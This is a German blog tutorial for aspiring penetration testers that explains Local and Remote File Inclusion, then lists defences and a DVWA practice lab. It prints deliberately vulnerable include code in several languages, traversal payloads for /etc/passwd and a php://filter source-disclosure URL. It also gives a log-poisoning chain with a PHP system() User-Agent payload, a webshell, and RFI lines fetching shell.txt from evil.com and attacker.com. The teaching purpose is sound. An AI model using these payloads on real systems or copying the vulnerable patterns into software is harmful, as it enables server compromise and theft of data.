Startseite » Blog DE » Local File Inclusion (LFI) & Remote File Inclusion (RFI) – Theorie & Praxis für angehende Pentester

Local File Inclusion (LFI) & Remote File Inclusion (RFI) – Theorie & Praxis für angehende Pentester

In der Welt des Penetration Testings gibt es eine Vielzahl von Schwachstellen, die Angreifer ausnutzen können. Unter diesen gehören Local File Inclusion (LFI) und Remote File Inclusion (RFI) zu den Klassikern. Beide sind Dateieinbindungs-Schwachstellen, die es ermöglichen, Dateien einzulesen oder sogar auszuführen, die ursprünglich nicht für den Zugriff durch den Benutzer vorgesehen waren.
Obwohl oft mit PHP in Verbindung gebracht, sind sie keineswegs auf diese Sprache beschränkt. Auch in Python, Node.js, Ruby, Java oder anderen serverseitigen Technologien können ähnliche Probleme auftreten.

Dieser Artikel bietet dir:

  • Eine klare Erklärung von LFI und RFI
  • Praxisbeispiele mit realistischen Payloads
  • Exploit-Ketten für Post-Exploitation
  • Tools & Befehle, die in der Praxis funktionieren
  • Schritt-für-Schritt-Labs, um selbst zu üben
  • Verteidigungsmaßnahmen, um solche Lücken zu vermeiden
Local-file-inclusion (LFI) Remote-file-inclusion (RFI)

Die Theorie hinter LFI und RFI

Was ist File Inclusion?

Der Begriff „File Inclusion“ beschreibt in der Webentwicklung den Prozess, Dateien dynamisch in den Code einzubinden.

Ein einfaches Beispiel in PHP könnte so aussehen:

<?php include($_GET['page']); ?>

Das Ziel kann sein, HTML-Fragmente, Konfigurationsdateien oder ganze Code-Module wiederzuverwenden. Wenn dieser Mechanismus unsicher implementiert ist, kann er missbraucht werden.

Local File Inclusion

Was ist Local File Inclusion (LFI)?

Definition:
Bei LFI handelt es sich um eine Schwachstelle, bei der ein Angreifer lokale Dateien auf dem Server einbinden kann. „Lokal“ bedeutet hier: Die Datei befindet sich auf dem gleichen Server, auf dem die Webanwendung läuft.

Gefahren:

  • Zugriff auf vertrauliche Konfigurationsdateien (/etc/passwd, .env).
  • Auslesen von Quellcode.
  • Umgehung von Zugriffskontrollen.
  • In manchen Fällen Codeausführung, wenn z. B. Logs PHP-Code enthalten.
Remote File Inclusion

Was ist Remote File Inclusion (RFI)?

Definition:
RFI ist ähnlich wie LFI, jedoch kann der Angreifer Dateien von einem externen Server einbinden. Das ist nur möglich, wenn die Webanwendung den Zugriff auf entfernte URLs erlaubt.

Gefahren:

  • Ausführung von beliebigem Schadcode auf dem Server.
  • Installation von Webshells.
  • Komplette Kompromittierung des Systems.

Hauptursachen für LFI/RFI

  • Direkte Nutzung von Benutzereingaben in include, require, file_get_contents, eval usw.
  • Fehlende Eingabevalidierung.
  • Fehlende Whitelist-Mechanismen.
  • Ungesicherte Konfigurationen (z. B. allow_url_include in PHP aktiviert).

Beispiele aus verschiedenen Programmiersprachen

PHP (Klassiker)

Das klassische Beispiel ist eine PHP-Seite, die so aussieht:

<?php
$page = $_GET['page'];
include($page);
?>

Angriff:

http://example.com/index.php?page=../../../../etc/passwd

Ergebnis: Der Inhalt von /etc/passwd (unter Linux) wird angezeigt.

Python (Flask)

from flask import request
import os
@app.route("/view")
def view():
    page = request.args.get("page")
    return open(os.path.join("templates", page)).read()

Angriff:

http://example.com/view?page=../../../../etc/passwd

Node.js (Express)

app.get('/view', function(req, res) {
    let page = req.query.page;
    res.sendFile(__dirname + '/views/' + page);
});

Angriff:

http://example.com/view?page=../../../../etc/passwd

Java (Servlet)

String page = request.getParameter("page");
File file = new File("/var/www/html/" + page);
Scanner sc = new Scanner(file);

Angriff:

http://example.com/view?page=../../../../etc/passwd

Typische Angriffstechniken

Directory Traversal

Der Angreifer verwendet ../-Sequenzen, um aus dem vorgesehenen Verzeichnis herauszunavigieren.

Null Byte Injection (ältere Systeme)

Früher konnte %00 genutzt werden, um Dateiendungen zu „beenden“.

Protokollbasierte Angriffe

Einige Systeme erlauben das Einbinden über Protokolle:

php://filter
php://input
data://

Man kann Base64-kodierte Dateien direkt ausgeben:

http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

Log Poisoning

Ein Angreifer schreibt eigenen Code in Logdateien und bindet diese per LFI ein.

Praktische Beispiele für Angriffe

LFI zum Auslesen von /etc/passwd

http://example.com/index.php?page=../../../../etc/passwd

RFI mit Webshell

http://example.com/index.php?page=http://evil.com/shell.txt
Real attack scenarios

Realistische Angriffsszenarien

Hier sind typische Angriffsketten, die aus einer simplen LFI oder RFI entstehen können.

LFI → Log Poisoning → Remote Command Execution

1. LFI gefunden:

http://target.com/index.php?page=/etc/passwd

2. Log Poisoning:

Man sendet eine HTTP-Anfrage mit bösartigem PHP-Code im User-Agent:

User-Agent: <?php system($_GET['cmd']); ?>

Dieser landet in /var/log/apache2/access.log.

3. Codeausführung über LFI:

http://target.com/index.php?page=/var/log/apache2/access.log&cmd=id

RFI → Webshell → Privilege Escalation

1. RFI gefunden:

http://target.com/index.php?page=http://attacker.com/shell.txt

2. Hochladen einer PHP-Webshell:

<?php echo shell_exec($_GET['cmd']); ?>

3. Privilege Escalation:

  • Durch Ausführung von uname -a, id und sudo -l kann man schwache Konfigurationen finden.
  • Nutzung von Kernel-Exploits für Root-Zugriff.

Typische Ziele und interessante Dateien

Ein Pentester wird bei LFI oft gezielt nach sensiblen Dateien suchen:

Betriebssystem
Interessante Dateien
Linux
/etc/passwd, /etc/shadow, /proc/self/environ, Log-Dateien
Windows
C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts

Tools für LFI & RFI Tests

Einige nützliche Tools, um LFI/RFI automatisiert zu finden und auszunutzen:

  • wfuzz – Bruteforce von Parametern
  • dirbuster – Verzeichnisse und Dateien finden
  • burp suite – Manuelles Testen & Payload-Automatisierung
  • LFISuite – Speziell für LFI-Exploitation

Übungs-Lab

Du kannst LFI und RFI gefahrlos in einer lokalen Testumgebung üben:

  1. DVWA (Damn Vulnerable Web Application) installieren
  2. XAMPP oder Docker verwenden
  3. Sicherheitslevel auf “Low” setzen
  4. Payloads testen

Schutzmaßnahmen

  • Whitelisting
  • Nur erlaubte Dateinamen zulassen.
  • Pfadbereinigung
  • Funktion wie realpath() oder basename() nutzen.
  • Kein allow_url_include
  • Least Privilege
  • Webserver darf nicht alle Dateien lesen.
  • Input Validation
  • Strenge Filter auf Benutzereingaben.

Fazit

LFI und RFI sind leicht zu verstehen, aber oft verheerend in der Auswirkung. Wer als Pentester diese Schwachstellen erkennt, kann erhebliche Sicherheitslücken aufzeigen. Gleichzeitig gilt: Entwickler müssen bewusst sichere Einbindungsmechanismen nutzen und niemals unvalidierte Eingaben direkt verarbeiten.

Nach oben scrollen